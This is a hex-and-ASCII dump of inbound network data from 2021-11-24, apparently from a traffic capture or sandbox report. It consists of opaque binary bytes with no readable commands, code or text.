Data Ascii:  c]D/g^mUQY*ShL/eD!G)K)cpX(z$L?iSd3<tH>}Kjj%;bcCyf['a*B~XAmG2QTu,#{-v!L:fD1_0&tSc3K4vGqT
wJLVKN9Al

2021-11-24 20:00:29 UTC 27 IN Data Raw: b0 40 a6 e9 e7 e0 8c e7 a3 13 29 26 19 2c e3 4f c4 01 d1 65 8e 28 67 4c 16 58 1a 8a 4f 06 80 a1 4b 00 ff d4 
c7 ed 40 0c 1e dd 1b 6e 34 5f b2 62 9f e7 c3 25 70 3a 30 75 2a 21 31 56 05 eb 4e 98 90 26 64 a2 cc f7 82 e0 45 8d 37 1b 
c6 6c cd f9 25 a6 1a 29 f9 2e fa bd 81 3d ef 80 68 c6 42 05 db f6 aa 3d 02 ee b0 e1 23 42 d3 66 10 b8 ca 74 e6 33 f3 0d 
19 26 14 0b 4c 11 0f b2 7b ac dd e4 10 fa e6 2d 4b 88 47 89 de 0e bc 2b 9b 9d 06 a9 22 2f 65 ff e2 90 60 74 68 3e ad 01 
01 8d d3 de 29 5b 99 56 83 27 89 8e bf ff 3d 2d c3 5d d7 83 ce 5a 3a 59 f3 cc e1 52 af 2f 17 f5 5b 0b 17 b2 35 48 69 39 6a 
36 9e 14 70 7b ed d6 0d bd 33 e8 06 b7 6b 10 92 a0 66 ee 38 b5 a3 8a f8 26 65 24 c8 57 2d 2c 21 ed 91 24 31 e8 d9 f2 58 
5f fb e1 92 60 d7 85 d8 9a ea 94 a1 46 3a e2 56 5a b0 
Data Ascii: @)&,Oe(gLXOK@n4_b%p:0u*!1VN&dE7l%).=hB=#Bft3&L{-KG+"/e`th>)[V'=-]Z:YR/[5Hi9j6p{3kf8&e$W-
,!$1X_`F:VZ

2021-11-24 20:00:29 UTC 28 IN Data Raw: 61 34 6c cf cb ee 51 44 84 de db 95 e7 99 a9 74 df 38 38 b1 a1 26 58 48 86 36 24 a0 f8 0d 71 e3 a1 a9 f7 80 
b8 63 5a 1d 5f 19 af 07 69 3b fa 17 9b 1a 75 b8 f0 1c 78 70 f3 a1 94 0a 0e 9a 13 36 08 ee 70 06 77 2f 13 ec 65 40 4a 46 
99 e2 43 7d 7a c3 32 c1 83 d2 c5 3a df 74 fa 43 1d d4 6b 71 7e bc 50 fa ab 4a b1 9d ff dc e2 ef b4 c2 15 ea 07 e0 c2 2e 4f 
4d 50 04 f6 0b 87 48 39 af cd b5 57 df 03 b6 ff 85 eb 84 0d 8d 51 39 a2 43 d2 9e 75 ed b7 ca a3 da 8a f8 99 40 32 e0 b7 
1d e2 99 41 b1 5c 2f 00 6c 37 d4 31 1d ad 01 7f 8f 23 4e 2b 22 ed 62 75 7f 67 fb e2 39 bb 8d fb 08 41 27 7c 4b e6 dc 6d af 
a0 20 6b 3d f7 43 c7 a7 7e 46 b4 e7 09 b3 e3 41 f0 e2 1f 48 f5 53 87 a5 ee 40 ab 67 af 03 f9 18 08 01 df f3 c2 bb b6 cc 7b 
ac c2 0d 19 ad 6a 8c 26 fd c0 f2 b3 99 01 07 8b 
Data Ascii: a4lQDt88&XH6$qcZ_i;uxp6pw/e@JFC}z2:tCkq~PJ.OMPH9WQ9Cu@2A\/l71#N+"bug9A'|Km k=C~FAHS@g{j&

Timestamp
kBytes
transferred Direction Data
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2021-11-24 20:00:29 UTC 29 IN Data Raw: 41 8c 9b 5e 6e 5e a0 4b 0a 9d fd d7 fc 9c 0c 33 c1 87 4a 1c 4e b2 71 b6 eb d5 b9 54 20 21 7a ef d3 33 5c 18 
e2 50 93 97 39 4c b0 c1 e6 87 eb 96 88 29 3d c1 7c fd c0 3c a7 10 2e f9 03 f1 4f fd 15 ec 91 6d ff 71 15 f8 93 91 31 13 eb 
bb d2 39 fb 2c 74 1f b0 ca 59 d7 4d d8 0c 13 3f 00 38 2c 20 d8 a1 7e ac dc e5 db e9 be 17 0f a4 46 88 c7 19 9b 25 d4 01 
29 bf 33 2b 5e c6 f2 b5 75 5f 68 13 d4 02 40 a5 c1 e6 05 50 ea 73 8a 07 8d 1d 99 ee 5b a3 e2 32 f5 81 df 5c 46 63 e3 eb 
c3 2a b0 2e 1d d7 24 5b 17 b4 1b 75 7f 28 78 48 f6 1c 58 21 fe fe 0c bf 27 fe 42 fb 51 11 92 aa b8 e2 09 d3 d4 ae e9 00 0a 
73 c8 57 d7 cf 7f cf de 3d 36 e8 b0 f0 89 d8 0e f0 b7 49 f3 96 c9 82 e8 ae 8e 12 19 e2 5c 84 b0 7d 72 8f 7c 6e 70 3a da 41 
23 dd 9f 07 eb 59 d5 aa 9c 5f 94 3a 99 64 55 0b 
Data Ascii: A^n^K3JNqT !z3\P9L)=|<.Omq19,tYM?8, ~F%)3+^u_h@Ps[2\Fc*.$[u(xHX!'BQsW=6I\}r|np:A#Y_:dU

2021-11-24 20:00:29 UTC 31 IN Data Raw: be 74 38 f8 0c d9 e1 ad a0 e0 93 32 f3 52 04 4f 83 1d 00 69 3a 59 12 85 14 42 0b 7c 23 72 68 7e 3c 85 00 1c 
b9 31 3c 1c f0 7c 07 67 2f 13 ec 5e f4 5b 4a 85 dd 85 6c 76 de 33 8b 1f f5 dd 2d 42 76 f1 4b 0d 5c 52 64 67 aa ca f3 2a 5a 
99 3a fe cf e3 d8 a3 c7 0b ed b4 fe d6 2c a7 c0 43 0a e7 00 33 c3 1a ad c1 a4 51 c0 08 b8 61 a5 eb 95 03 81 48 d6 ae 79 
c8 13 68 f6 30 e5 3b 36 78 10 ae f2 21 ef bd 2a fc 8b 5e df 71 1c 32 71 2a 56 83 24 bc 01 75 55 e1 5c 2b 39 de 5e 61 7f 
6d d9 fe 0c ba 87 85 6e 53 27 67 43 f2 ca 75 b4 b4 a1 dc 34 22 4f a5 d5 77 4b ab fd 97 90 f2 49 e5 d9 02 50 e6 5a 90 39 
e6 5f b9 98 bd 23 c2 05 1b 0a 56 e4 d3 bb b7 ee 61 bd ce 14 05 30 5e 98 32 eb 65 65 b3 99 0a 3c dc 5a f3 db 36 43 c2 0e 
ab 3e 8f 34 d3 8e 4c 09 41 a9 c9 54 a4 fc 4f 9c 8c 69 
Data Ascii: t82ROi:YB|#rh~<1<|g/^[Jlv3-BvK\Rdg*Z:,C3QaHyh0;6x!*^q2q*V$uU\+9^amnS'gCu4"OwKIPZ9_#Va0^2
ee<Z6C>4LATOi

2021-11-24 20:00:29 UTC 32 IN Data Raw: c4 28 81 21 0d 7e fb db 0c 44 0a fa 48 a7 7f 26 48 aa d8 eb 8d f3 89 60 39 35 d3 48 cb f3 29 a6 19 32 16 20 cc 
69 85 3f ed 98 78 e7 ad 05 f7 fe 92 35 2b 9f 55 0f d1 83 0e 5e 15 b8 de 31 5f 3d ff 23 11 23 1a 1f 66 41 ce 77 20 b8 92 fb 
f4 95 cf 5f 9f 9e 6d 88 de 3a bc 3a a9 8c 02 bf 70 2a 4d f6 f5 9c 41 58 79 3a d5 e3 01 a1 db ff 09 5a 91 4e 75 06 ab 03 c1 
c8 7d b2 c7 2e 9c 81 df 5c 5e 5d fe cc e3 2b 4f 2f 3b fd 64 55 17 ba 2a a5 7c 04 7c 0c 8c 37 97 2c ef b9 47 af 21 e5 40 94 
6b 10 81 90 64 ee 4d f5 f8 a9 bc 26 65 35 de 5b f6 5e 78 cd 18 da 30 ce 62 e7 9c d3 f8 ac 93 61 ce bb d4 91 f7 87 ae 33 
e7 e3 7a 5e a9 50 42 85 56 27 1b c4 db 6f 21 c5 93 b3 e3 43 2b 8a b0 52 93 80 d7 65 55 10 98 22 b2 29 dc e7 2c 5f 1a 29 
ac 12 cd c7 d0 c3 e6 26 65 29 c6 87 f4 a6 8f 
Data Ascii: (!~DH&H`95H)2 i?x5+U^1_=##fAw _m::p*MAXy:ZNu}.\^]+O/;dU*||7,G!@kdM&e5[^x0ba3z^PBV'o!C+Re
U"),_)&e)

2021-11-24 20:00:29 UTC 33 IN Data Raw: c1 0a f4 0a 74 7f 6e 9a 1a bd 27 aa 21 37 02 cf 6c a2 66 2d 13 eb 3e ae 4b 46 99 b0 05 7a ac de ff 00 d8 74 ee 
3a de 66 f0 5b 0d db df 61 6a be e2 7e 2f 54 b2 29 62 c9 ff f7 a5 d3 2c f5 a4 f1 c3 30 50 4f d8 1c 2c 0f 49 7a 32 bc c1 a4 
5b cb 67 ee 29 82 7a 84 0c 94 e8 b4 a6 5c 4b b5 73 3a a5 fc 3f ca 87 ef ec 53 ae e9 97 3b f3 94 44 11 75 30 98 60 21 4e 
51 0c ad 10 5d c8 31 4e 21 3b aa ee 75 7f 67 de df b6 0c a7 70 1a 41 27 56 53 c9 ec 69 be a1 dd 8b 24 2d 5f 21 fc cc 47 
b4 e7 19 d4 6a 49 e4 c0 09 43 7b e2 b0 d7 e9 40 ab 57 b7 27 c9 17 1e 16 a9 8c d2 bb bc bc c0 b4 40 a9 c4 b4 ef 2f e4 fd 
97 ca 65 14 2b 14 86 5b f9 d7 37 82 d3 23 bc 37 00 90 63 0d 56 0c 48 b1 d1 d5 0c c5 a9 9c a0 70 a9 bd b2 34 74 03 60 92 
94 ba f0 de 34 a8 b3 d4 78 fd 96 0f 20 41 18 bb 31 
Data Ascii: tn'!7lf->KFzt:f[aj~/T)b,0PO,Iz2[g)z\Ks:?S;Du0`!NQ]1N!;ugpA'VSi$-_!GjIC{@W'@/e+[7#7cVHp4t`4x A1

2021-11-24 20:00:29 UTC 34 IN Data Raw: 35 d0 3b 62 a2 71 16 92 b6 15 1d fd 89 1b db d1 9f cc 1b 0a 23 a9 7d 08 c3 2d a2 04 51 40 88 83 27 03 a4 94 
56 2b d1 3b 41 63 d6 82 dc d6 3d f8 f5 35 8e 02 60 9a 7b 2d 9d 56 e5 fe 16 83 79 cc aa f4 83 bb 5a 3d a0 66 51 5a ea cb 
35 6c cf cb e1 68 51 94 d5 c7 86 83 8f 1e 1b 7c 2b 3d 93 a3 33 37 85 97 32 41 15 56 d3 6d e1 b3 cd ca 94 90 e3 74 11 48 
1b 57 3b 69 3b fa 6c d8 0e 5d 11 2c 0d 74 6f 69 99 1a bd 60 1b 20 37 02 cc 56 89 48 29 00 e8 5c fd 4f 45 9d ce 31 1d 7b 
c9 2f 1a 26 6e c5 3a d4 6e 92 ca 1b c0 49 7b 79 ad 50 f3 22 5b a0 99 70 78 86 57 bf d4 0e fc a3 f5 df 3d d7 76 00 ad f6 0a 
2f 71 69 bd c1 ae 73 e6 14 ae 74 ac c3 b6 0f 9e 5a 00 88 55 c5 08 0b 78 a0 dc 35 d8 80 fe b7 f6 35 f6 ac 3c 7d 23 38 88 
70 30 1b 71 27 21 64 0c ad 0b 61 4c 38 5f 23 56 97 76 
Data Ascii: 5;bq#}-Q@'V+;Ac=5`{-VyZ=fQZ5lhQ|+=372AVmtHW;i;l],toi` 7VH)\OE1{/&n:nI{yP"[pxW=v/qistZUx55<}#8p0q'!
daL8_#Vv

2021-11-24 20:00:29 UTC 35 IN Data Raw: 3a 21 3e af 05 3f 3e a1 37 ab a4 e0 e0 f8 ae b7 96 c6 33 98 98 50 0f 4a e9 1d e5 a9 57 78 46 b7 29 cd 15 51 
b1 fa d4 71 bb 19 30 19 61 11 97 4f 4c 3c cc 06 b7 e6 f7 ea 97 ef dd 14 3f fc 04 d0 6e 64 c5 1d d0 76 9c 2a 48 43 1d 10 0c 
95 5e 2e 98 a0 49 0a e0 db 8c 94 96 15 11 df 0a 61 07 7e b7 62 12 f4 cd 34 32 20 21 6a e8 fc 51 38 06 fa 4b bc f2 45 65 
a8 ca eb 84 f2 9b 9a 57 0f d6 63 ef 87 bc a6 10 2e 87 03 e1 6b 98 21 eb e2 41 ef 53 0e c8 f9 a8 35 02 e7 c5 d7 2f 94 0f 64 
1a a2 b4 52 cf 22 f8 1c 16 2d 7e 30 42 0b d3 a2 5c db d9 f3 c0 fe 34 b1 65 e7 6c 89 cd 00 ad 3d 85 8b 13 bb 25 3b 49 69 
54 ff 46 76 79 38 c9 c3 1a 9c dc 88 61 5b 99 5c 82 68 e2 0f bf f5 a1 6c c9 54 fb 86 d6 39 02 44 f2 c6 37 35 b6 41 01 fe 73 
53 3d b2 32 47 7d 28 7c 27 c5 1c 42 4e ed d8 0b 
Data Ascii: :!>?>73PJWxF)Qq0aOL<?ndv*HC^.Ia~b42 !jQ8KEeWc.k!AS5/dR"-~0B\4el=%;IiTFvy8a[\hlT9D75AsS=2G}
(|'BN

2021-11-24 20:00:29 UTC 36 IN Data Raw: fc a5 04 4a 6f 03 7d 26 25 b4 80 54 2a d6 3c 41 f3 9f ec 59 e1 34 f7 fa a8 92 0c 65 89 18 31 c2 57 ef dc 4a dd 
78 c6 85 ca 8c b5 dc 39 8b 66 39 40 85 53 37 1d d5 d8 ea 7b 44 80 cc d4 ec de 01 a9 70 51 44 9f 99 b2 21 47 4b 84 35 
4b 29 ff 12 77 0e a6 94 fa ea dd e2 58 19 4a 09 3d 0d 7a 3c fb 12 88 11 56 e5 f1 30 64 60 5f 9b 95 0a 0f 9a 30 36 08 ee 4f 
e5 49 2f 19 c1 52 e7 46 55 94 ca 08 7a 6c 37 24 3b 0d ee d6 3d de 76 fa 4d 14 3e 42 44 7f 97 53 da 42 b3 4e 62 80 bd e8 
fe b5 fc 71 ec a5 fb ca 3d 5c e9 f9 04 f6 0c 0f 59 29 8c c4 a4 3c cb 17 ae 22 aa eb 95 1a 94 5e 37 a2 57 be 56 64 e0 a4 f4 
1e cb 87 e5 de 91 33 e0 b7 2d 69 bc 20 20 70 3a 1d 72 23 66 61 0d ad 0b 5d 4f 30 4e 21 2f ed e3 75 7f 6b fb c6 39 bb 8d 
f2 4f 41 27 63 5a 9a 98 6a be a3 d0 ae 24 2d 5f 73 
Data Ascii: Jo}&%T*<AY4e1WJx9f9@S7{DpQD!GK5K)wXJ=z<V0d`_06OI/RFUzl7$;=vM>BDSBNbq=\Y)<"^7WVd3-i  p:r#
fa]O0N!/uk9OA'cZj$-_s

2021-11-24 20:00:29 UTC 38 IN Data Raw: 1d ef a6 a1 c8 55 b2 40 81 aa 51 bb f9 d4 2e bb 19 30 c3 97 b8 9c 63 4c 4b c3 51 b7 e2 d5 92 9d e8 b4 2a 80 
fc 0e f0 01 5e c5 01 da 70 f1 54 77 43 0d 27 73 9a 5e 24 8b a7 60 69 fc dc fe 7c 97 1f 1b d3 0c 69 73 53 b2 62 9f f9 c4 1c 
50 20 21 71 d1 f5 09 10 0e d2 f2 b0 81 21 77 ac d1 e2 03 4d 85 af 02 08 d3 70 ec fe 37 ae 3b 0d f9 28 f1 63 08 21 eb 80 
61 e9 7b 20 db fc b3 23 16 f0 af d8 1f 94 05 7f 33 b3 ca 7e c6 2b da bc 13 35 17 0b 4b 1c 0f b2 7c ac d0 e2 c3 63 87 92 af 
9a 40 a0 4c 0b be 30 b9 18 dc b1 21 2d b3 f1 f7 90 6a 6c 16 65 c2 1d 0a 51 f3 e7 05 5b 89 56 8b 05 87 f0 bd 82 06 b1 cd 
5d d7 80 df 4d 65 41 f2 fa eb 3d b1 7d 17 ff 62 71 a8 b3 33 5d 76 2f 60 59 ed 1c 58 2f c5 f8 09 ae 27 c7 44 96 6b 16 fd 67 
67 ee 1e f2 83 a7 f9 26 61 50 85 57 dd 12 72 1b 
Data Ascii: U@Q.0cLKQ*^pTwC's^$`i|isSbP !q!wMp7;(c!a{ #3~+5K|c@L0!-jleQ[V]MeA=}bq3]v/`YX/'Dkgg&aPWr

2021-11-24 20:00:29 UTC 39 IN Data Raw: 82 0c 64 80 5f 7a c3 57 ef 2a 39 da 17 1f a0 e7 83 b9 ca 17 a0 6c 41 4c 85 53 37 6c c3 d8 88 11 57 93 de d1 
97 88 01 a9 72 d5 51 bd 99 a7 3d 58 42 96 21 7b 3b f8 57 7a f0 a7 ef f1 94 81 f4 4b 18 61 49 23 00 69 3b ea 06 90 04 a3 
1a dc 08 7a 40 1f 9d 94 0c 60 2f 20 37 02 dd ec 8a 48 2f 0c e6 5e fd 4a 57 96 dd e7 7c 56 ca 3d 04 0b f9 d4 3f c5 99 fc 7e 
15 c2 6b 47 7d bc 5c db a1 4d b1 9d e2 dc ec fe ae d1 1c 13 a4 dd c0 4a e5 c1 6f 0e fc 13 36 5c 32 ad c4 bb 55 35 16 82 
7b 92 05 84 0c 9e 43 27 bc 50 c5 13 61 f9 5e dd 13 df 81 ed 99 b8 31 e0 bb 13 d7 94 57 2b 1f fc 11 60 2b 54 0a 09 ad 10 
70 40 3a b0 2a 15 d0 70 7d 57 73 d0 d6 3e 93 a3 8f 1a 4b 48 ab 58 e1 c7 75 b2 b4 ab dc 34 28 4a 57 2a 5a 6b bc e4 0d 
6d ff 56 e9 d9 00 4b e4 50 8d d6 e8 6c ae 70 b1 11 fb 11 
Data Ascii: d_zW*9lALS7lWrQ=XB!{;WzKaI#i;z@`/ 7H/^JW|V=?~kG}\MJo6\2U5{C'Pa^1W+`+Tp@:*p}Ws>KHXu4(JW*Z
kmVKPlp

Timestamp
kBytes
transferred Direction Data
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2021-11-24 20:00:29 UTC 40 IN Data Raw: b2 59 ac f0 61 27 97 f4 a4 9e 2f f4 13 ec f2 75 cc 1f c6 ea 8f 22 69 4a 11 d4 1d 93 41 24 8e 3c 5a 02 f1 d0 c0 
60 87 17 1a dd 13 66 0a 51 bf 4a 8d f5 cd 3e 7d ae 96 64 ec 2d 35 8f 8a d1 41 b0 80 2b 66 b7 cf ee 9b f8 1d 29 27 16 0d 
4b fd e9 24 ac 63 b3 e9 21 e6 78 94 2d fd 1c 4c ee 53 05 c8 f9 b1 be a4 f0 af 7e 99 4e 12 af 08 6c 56 50 ce 22 f3 00 1b 3d 
9f ad 5c 1b 03 b0 71 ab c7 e3 e2 f5 31 a0 6a 80 51 81 db 02 30 8d 85 89 8c 08 e9 02 55 e6 e3 9a 42 e0 79 32 c8 0c 06 8e 
de f3 0c 4b 9c 39 13 06 87 08 d0 e9 7c b2 c9 4e d3 91 db 7e c9 44 f2 c6 e1 e3 a0 0b 3f c8 73 59 1d a1 34 4f 77 00 46 27 
8e 16 86 2b eb fc 0b ae 20 ff 6a 94 6b 10 c4 a0 e3 35 18 e4 e2 a9 f8 27 7e 14 cc 57 e0 13 78 c5 20 24 31 f3 6c c9 87 d0 bf
28 92 61 ce 80 fa 8a ef ad 8e bd 19 e2 5c 72 f7 
Data Ascii: Ya'/u"iJA$<Z`fQJ>}d-5A+f)'K$c!x-LS~NlVP"=\q1jQ0UBy2K9|N~D?sY4OwF'+ jk5'~Wx $1l(a\r

2021-11-24 20:00:29 UTC 42 IN Data Raw: 53 3f 61 d4 dd fe 51 39 86 de d7 81 05 06 a9 74 d4 3f 29 8d 9a 84 58 42 9d 1a 5a 38 f8 07 68 f4 ae a4 7d ab 90 
e2 59 0b 71 9a 23 00 63 17 e5 12 8b 16 d1 24 f0 1c 73 7e 57 0b 95 0a 05 9e 2e e7 41 e4 67 88 60 3b 13 ed 47 eb 4d 6d 
9f 1a 53 7d 7a cb 0d 03 0e f9 cf 29 d9 71 ee 5a 65 b2 42 68 77 af 5f f4 34 45 a3 94 d6 ac e9 fe b9 58 3b ed a5 f0 da 3f 48 
c7 47 5e f6 0a 2f 4f 1c bb c7 af 86 5b 13 ae 72 bb e2 88 7f 08 5d 28 a5 46 cf 13 6e f2 89 f4 50 c8 87 e9 99 70 33 e0 b7 2a 
da bc 27 22 70 36 7e f8 20 4e 13 1d a7 13 5c 77 40 4d 2b 3f ed e1 74 7f 67 c2 ff 10 c9 84 8f 1c 2e bf 66 58 eb dc 60 ac 8e 
86 af 26 2d 53 73 43 5a 47 be fc 33 93 86 4a e4 cc 6a d3 f4 55 9a 39 e3 52 82 4e c9 0c e8 12 36 87 db db d9 aa 9f ee af 
be ce 18 7d 24 60 98 38 fb 47 cf 9a b1 77 17 86 
Data Ascii: S?aQ9t?)XBZ8h}Yq#c$s~W.Ag`;GMmS}z)qZeBhw_4EX;?HG^/O[r](FnPp3*'"p6~ N\w@M+?tg.fX`&-SsCZG3
JjU9RN6}$`8Gw

2021-11-24 20:00:29 UTC 43 IN Data Raw: 48 0c da 6a 2e 98 a0 4b 0a ee 45 d4 fc 96 72 13 df 0a 6a 19 4e b3 6d 95 f4 cd 2e 7f 20 20 7b fc f7 22 48 07 fa 
41 99 84 27 64 92 c5 e6 8d f5 93 9e 38 03 d7 63 e4 fb 14 a1 10 3d eb 21 e0 0b 92 32 fc 87 74 e4 6b 0d d8 fc b9 30 02 eb 
b5 fb d0 95 29 64 19 92 78 7a ce 28 7e 26 13 35 10 09 46 14 d5 b2 7e bd c9 f9 d5 e3 ce a1 4c 99 41 a0 69 0b be 30 18 37 
02 bf 32 39 48 f8 ec 83 60 77 68 38 dd 03 fe 8c f5 e0 11 49 9c 49 94 14 8d 0e ae f5 62 a5 3d 5c fb 89 e7 ea 57 44 f2 d3 f3 
2e bb 2e 06 f5 6c 56 e9 b3 1f 52 45 82 7c 27 8e 03 48 38 e7 d6 1a a4 3d 11 6b b8 28 01 96 88 3c ee 18 ff bd a4 f8 26 65 
7d 37 a8 22 60 87 3a ff 30 30 e2 6e 48 8e d2 d0 f5 90 61 c4 fb c8 88 fb a9 a7 2a 19 1d 56 5a b0 f7 a7 76 a9 a2 f3 c5 25 ce 
dc 22 60 3e 14 a6 2a 46 9d 5f 94 f2 8a 6e 55 0b 
Data Ascii: Hj.KErjNm.  {"HA'd8c=!2tk0)dxz(~&5F~LAi0729H`wh8IIb=\WD..lVRE|'H8=k(<&e}7"`:00nHa*VZv%"`>*F_nU

2021-11-24 20:00:29 UTC 44 IN Data Raw: 32 4d 10 75 0e 7b f6 8f 0d f1 94 96 e8 86 08 7c 27 15 00 69 31 e8 07 fc b4 5d 1b fa 16 5a 50 7f 9e 9e d4 0f b4 
0a 36 18 e4 67 8a 48 2f 13 98 38 f8 5f 5c 93 ca 18 66 4a cd 25 9e 0f f9 c5 59 de 67 ec 4d 07 e8 f8 68 7d b6 7e 6c 25 4d b7
b5 da cf e9 f4 b2 dd 2c 54 a5 f1 cf 32 2a 7b 6f 04 fc 00 22 36 e1 bc c1 ae 48 c4 01 bd 7c 92 a6 85 0c 9e 4d 27 be 5b 5f 11 
60 f1 a4 f4 0e cb 87 e5 9c e2 0a d2 bc 3b f3 85 53 52 fd 31 11 66 32 49 c7 1e 88 29 42 5f 31 44 38 31 ed 4e 75 7f 67 0e c3 
39 bb 87 9e 1d 69 4b 64 58 e7 a2 ed bf a7 a8 f1 20 15 57 5a d4 5b 56 b0 c5 91 ba f2 43 8b 44 04 4b ff 3a 1c 29 e9 4a 83 
d0 bc 0f ee 07 1b 6e 49 db d3 b1 a5 c0 cf ac c9 71 9a bd 61 9e 25 30 5e cd a0 90 38 d3 86 5a f3 c0 26 84 46 0d ca 3d 8e 
21 b8 1b 5e 1a 48 ba d2 4a bc fc b8 b5 c2 79 
Data Ascii: 2Mu{|'i1]ZP6gH/8_\fJ%YgMh}~l%M,T2*{o"6H|M'[_`;SR1f2I)B_1D81Nug9iKdX WZ[VCDK:)JnIqa%0^8Z&
F=!^HJy

2021-11-24 20:00:29 UTC 45 IN Data Raw: cd 34 7f 31 28 6a f0 df ba 5a 07 fc 2e 3a 80 27 62 bb c6 f7 84 eb 9f b6 a1 1a d7 65 8a 62 25 a6 16 37 e2 30 e9 
7a 9e 1a 77 92 67 e8 3c 8e da fc bf 18 ab e1 aa f6 3d 9c 14 7d 0b 44 da 6a c6 5c 61 0d 13 3f 07 32 6d 0b d9 ab 62 43 d9 
93 e6 c8 21 a7 4c a9 6f cf cc 0a b4 2b 9d 9d 0e 97 50 29 4d e1 8c 1a 6b 77 7f 5d 5a 1d 00 87 c8 e0 2d ed 99 56 8d 14 8f 
1f b9 d7 f2 b3 c3 57 fa c3 ce 5c 7d cb f3 cc e1 10 8b 3f 1f d3 45 2a 35 b0 33 5d 6e 25 6f 2a 9f 1a 37 03 ef d6 0d bf 2c fe 60 
fb 4f 12 92 a6 77 e3 09 fd 97 8f fa 26 63 35 c5 7f e2 10 78 c3 6f 0e 33 e2 68 e3 9f df bf f4 93 61 ce be e7 8a fb 81 b5 22 c7 
ed 73 72 87 7a 58 83 45 21 24 02 da 43 29 03 9f a2 e7 4e 03 98 90 4e 98 fe 8a 5a a9 e4 7f ee bb 2f e1 2a 33 4e 03 2e 43 
01 6f 72 f8 a9 18 d1 81 d1 ed ab f6 8d 8c 
Data Ascii: 41(jZ.:'beb%70zwg<=}Dj\a?2mbC!Lo+P)Mkw]Z-VW\}?E*53]n%o*7,`Ow&c5xo3ha"srzXE!$C)NNZ/*3N.Cor

2021-11-24 20:00:29 UTC 47 IN Data Raw: 5d 1b fa 73 56 6a 7f 98 92 22 98 b2 20 3d 19 e2 08 58 48 2f 19 c5 2b f9 4a 4c fc dc 18 7d 70 a6 03 15 0e ff c3 
12 79 64 fd 54 74 ea 41 68 7b ba 5d 3c 33 68 99 aa fe cf e3 ed b6 a7 26 ef a5 f7 c2 11 61 c1 6f 0e 28 0a 22 73 33 ac c1 a4 
5b cb 11 ae 81 53 eb 91 16 9e 5c 29 b4 65 c6 02 38 e0 a0 dc 61 cb 87 fe c2 5d 32 e0 b7 31 f5 ea 7b 20 70 34 39 77 23 4e 
1f 24 fe 02 75 59 19 56 29 39 c3 19 b3 7f 6d d9 08 36 9e af b8 1a 41 2d 6b 70 d9 cd 6a b4 79 ae da 5b 01 54 5b d0 73 50 
b6 ed 1c 93 a1 4a e4 cc 2d 52 f7 55 96 47 2f 40 ab 6c 62 01 cd 3c 29 10 da d1 de 93 8e c6 d9 b7 10 1e 14 96 60 84 32 ea 
4d dd b5 99 1c 36 86 54 e9 d1 21 94 4f 25 9b 3e 92 6b d7 9f 45 1a 4e a8 c3 6b b8 ed ed 9d a0 7a f1 a5 bb ab b0 6f 68 1c 
29 04 6a a8 0d af aa d9 de 5d 42 07 a8 de 69 a0 30 
Data Ascii: ]sVj" =XH/+JL}pydTtAh{]<3h&ao("s3[S\)e8a]21{ p49w#N$uYV)9m6A-kpjy[T[sPJ-RUG/@lb<)`2M6T!O
%>kENkzoh)j]Bi0

2021-11-24 20:00:29 UTC 48 IN Data Raw: b2 d4 63 e3 87 a3 a7 10 22 c5 23 e6 41 84 23 eb fe ef ef 53 02 cc 26 aa 26 00 e9 92 7c 2e 94 05 64 19 ab d3 
6c a1 ab f3 0d 15 26 18 0b 45 1a d1 bb 1b 34 d9 f3 cc fe 3b b1 66 99 4f 91 a2 83 bf 3a 92 9f 08 ae 3a 02 c2 e6 e3 9a 47 3f 
68 39 ea 92 01 8d d3 ca 3a 4b 93 7e 04 06 87 04 92 c9 0e 90 c1 5d d1 93 d3 47 59 55 fb a3 c3 3f b1 28 06 f3 62 52 78 96 
31 5b 7b 39 72 36 84 73 7e 29 ed d0 1a a2 09 43 69 94 6d 7f b8 a2 66 e8 1e e4 f4 c6 ed 27 65 2e 16 58 f8 3b 4f c5 00 2e 
22 ef 46 dd 8e d2 da 3f 92 70 cc 81 1f 9b f3 96 ae 3b 0f dc 3d a5 4f 85 70 24 55 2f 0a 49 5e 42 23 d7 97 9b b5 5a d5 8d b4 
c4 94 ef 93 4c c9 1a 80 1b 82 ab f6 fc 2a 30 a7 3e 52 19 8e 42 c6 cf ec 39 11 5f c6 ab fc e2 04 23 8b 29 0a 5f e2 97 f9 13 
6b fd 91 5c 1a 7e 57 88 37 be 8e 22 a9 9d ee f4 
Data Ascii: c"#A#S&&|.dl&E4;fO::G?h9:K~]GYU?(bRx1[{9r6s~)Cimf'e.X;O."F?p;=Op$U/I^B#ZL*0>RB9_#)_k\~W7"

2021-11-24 20:00:29 UTC 49 IN Data Raw: 55 fc ef 1b 7d 7c a6 ec 17 0e f3 d2 0b 98 14 df 50 1b c6 50 7c 6c a8 47 f1 49 6a b3 9d f8 a0 c1 fc bf d2 15 f9 b4 
e2 a6 1a 5b c1 69 6b d2 08 25 5f 23 a8 d0 b7 34 ee 15 ae 74 c5 cd 86 0c 98 4d 3c 87 e9 c6 02 62 8f 8a de 3f cd 96 eb a0 
f3 5d f5 bc 3b f9 86 4f 09 b6 31 11 6a 0c d7 c7 02 bf 19 8b 49 2f 4e 2b 22 aa 21 75 7f 67 0f c7 3c 91 87 8f 1b 69 27 67 5a 
e1 31 6a 13 0e af d2 25 2d 55 5b d6 5b 9e b5 4e 66 b9 fc 49 e4 ca 05 49 f5 cc 92 50 f8 43 a5 66 bc 0f e8 0f 2e 1a da 93 
d2 bb b6 ac d9 bd df 01 02 31 4a 98 32 eb 5e db a2 9f 16 02 1a 4b f5 c6 37 09 5e 23 b3 28 12 36 d1 88 49 86 5f af c2 4d 
27 fc b7 86 b6 e6 be a3 a7 ac 5f c4 6e 01 35 92 7d d0 3c b8 36 cc f0 55 49 11 32 e7 36 bc 3a 04 f0 cb b7 9d f6 06 cf e6 e5 
a2 ad c9 b5 17 e1 7e 8c 6e 1c 10 77 12 f0 8f 
Data Ascii: U}|PP|lGIj[ik%_#4tM<b?];O1jI/N+"!ug<i'gZ1j%-U[[NfIIPCf.1J2^K7^#(6I_M'_n5}<6UI26:~nw

2021-11-24 20:00:29 UTC 50 IN Data Raw: ef a2 0e 51 6e 6a a8 26 09 b3 b0 50 2f d6 2b 6e bc 62 ed 73 fe 25 f0 fd 22 ed ca 65 8b 7d 9c cd 72 cd c3 3e dc 
72 c0 88 df 89 93 c7 e3 a0 6a 3e 7b 84 53 31 44 d2 da ea 7f 7f d4 dd d1 91 a0 18 ab 74 d3 44 fb 99 b2 2d 86 4c b2 1a 7c 
38 f8 07 76 d8 9f b8 f1 9e 4e e2 5e 37 58 13 22 00 69 3b fd 03 93 2c 5d 15 ea 1c 72 69 7f 9e a4 0a 13 fe 20 39 12 e4 67 
